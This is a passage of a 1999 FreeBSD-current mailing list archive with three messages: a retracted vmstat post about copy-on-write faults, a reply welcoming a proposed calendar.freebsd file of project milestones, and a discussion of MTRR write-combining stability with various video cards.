hub.freebsd.org (Postfix, from userid 608) id 1659F14C10; Sat, 30 Oct 1999 17:36:27 -0700 (PDT) From: "Jonathan M. Bresler" To: jmb@hub.freebsd.org Cc: alc@cs.rice.edu, ticso@cicely.de, current@freebsd.org In-reply-to: <19991030234301.23827151B2@hub.freebsd.org> (jmb@hub.freebsd.org) Subject: Re: copy-on-write optimized faults Message-Id: <19991031003627.1659F14C10@hub.freebsd.org> Date: Sat, 30 Oct 1999 17:36:27 -0700 (PDT) Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG > From: "Jonathan M. Bresler" [snip] > 7:39PM up 29 mins, 1 user, load averages: 0.24, 0.32, 0.31 > Aspen:[209] uname -a > FreeBSD Aspen.Bresler.ORG 3.0-CURRENT FreeBSD 3.0-CURRENT #3: Sun Jan > 17 08:06:24 EST 1999 jmb@Aspen.USi.NET:/usr/src/sys/compile/ASPEN > i386 > Aspen:[210] vmstat -s [snip] > 111374 cpu context switches > 22 pages reactivated > 8410 copy-on-write faults > 1264 copy-on-write optimized faults please ignoire this erro...i got to get away from the keyboard tonight. i am makeing too many errors. ;( jmb To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sat Oct 30 21:13:25 1999 Delivered-To: freebsd-current@freebsd.org Received: from green.myip.org (localhost [127.0.0.1]) by hub.freebsd.org (Postfix) with ESMTP id E147C1505E; Sat, 30 Oct 1999 21:13:19 -0700 (PDT) (envelope-from green@FreeBSD.org) Received: from localhost ([127.0.0.1] ident=green) by green.myip.org with esmtp (Exim 3.02 #1) id 11hmMk-0009b3-00; Sun, 31 Oct 1999 00:13:15 -0400 Date: Sun, 31 Oct 1999 00:13:14 -0400 (EDT) From: Brian Fundakowski Feldman X-Sender: green@green.myip.org To: Nik Clayton Cc: current@freebsd.org Subject: Re: /usr/share/calendar/calendar.freebsd ? In-Reply-To: <19991031003356.A8154@kilt.nothing-going-on.org> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Sun, 31 Oct 1999, Nik Clayton wrote: > Folks, > > Is there any interest in a /usr/share/calendar/calendar.freebsd file > (which would actually be in the CVS tree in src/usr.bin/calendar/calendars). > > Milestones in FreeBSD development (50 committers, 100 committers, the > first 1000 ports), dates of releases, committer birthdays, that sort > of thing. > > If so, I can start collating possible entries. . . Cool idea! Let's just limit it to the committer birthdays and not pets' birthdays too (sorry Asami's hamster and Jordan's cats, but it would be for the best!) Other than that, it would be interesting to have such milestones as branch dates/release dates, E-day, C-day, S-day (signal day? I guess ;), and what have you. > > N > -- Brian Fundakowski Feldman \ FreeBSD: The Power to Serve! / green@FreeBSD.org `------------------------------' To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sat Oct 30 22:55:46 1999 Delivered-To: freebsd-current@freebsd.org Received: from cain.gsoft.com.au (genesi.lnk.telstra.net [139.130.136.161]) by hub.freebsd.org (Postfix) with ESMTP id C90A014C24; Sat, 30 Oct 1999 22:55:38 -0700 (PDT) (envelope-from doconnor@gsoft.com.au) Received: from cain.gsoft.com.au (doconnor@cain [203.38.152.97]) by cain.gsoft.com.au (8.8.8/8.8.8) with ESMTP id QAA06872; Sun, 31 Oct 1999 16:25:30 +1030 (CST) (envelope-from doconnor@gsoft.com.au) Message-ID: X-Mailer: XFMail 1.3.1 [p0] on FreeBSD X-Priority: 3 (Normal) Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 8bit MIME-Version: 1.0 In-Reply-To: Date: Sun, 31 Oct 1999 16:25:30 +0930 (CST) From: "Daniel O'Connor" To: Andrew Atrens Subject: Re: K6-III wrtalloc + mtrr support ? Cc: current@freebsd.org, Brian Fundakowski Feldman Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On 30-Oct-99 Andrew Atrens wrote: > I remember this now, I was one of those that got bit by this problem. What > I recall is that MTRR support made a dramatic speed improvement, but alas > was _extremely_ unstable. That was when I had an ATI Expert@Work card. > Since then I've gotten a 3dfx Voodoo3, perhaps this card might be more > stable? So Brian, how do I switch this back on ? Well.. I think it depends on the video card.. For example I had a Matrox Millenium II and turning write-combining on worked fine.. No stability or video glitch problems.. I got a TNT2 and tried it.. Not so lucky. It would cause video to glitch badly.. If I just disabled caching for the video cards region it was fine though. I suspect that since the x server feeds commands to the card via a memory mapped region turning write combing hosed its ability to send the commands in the correct order. I suppose I could fiddle with it and find out how big the command window but I haven't bothered yet. --- Daniel O'Connor software and network engineer for Genesis Software - http://www.gsoft.com.au "The nice thing about standards is that there are so many of them to choose from." -- Andrew Tanenbaum To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message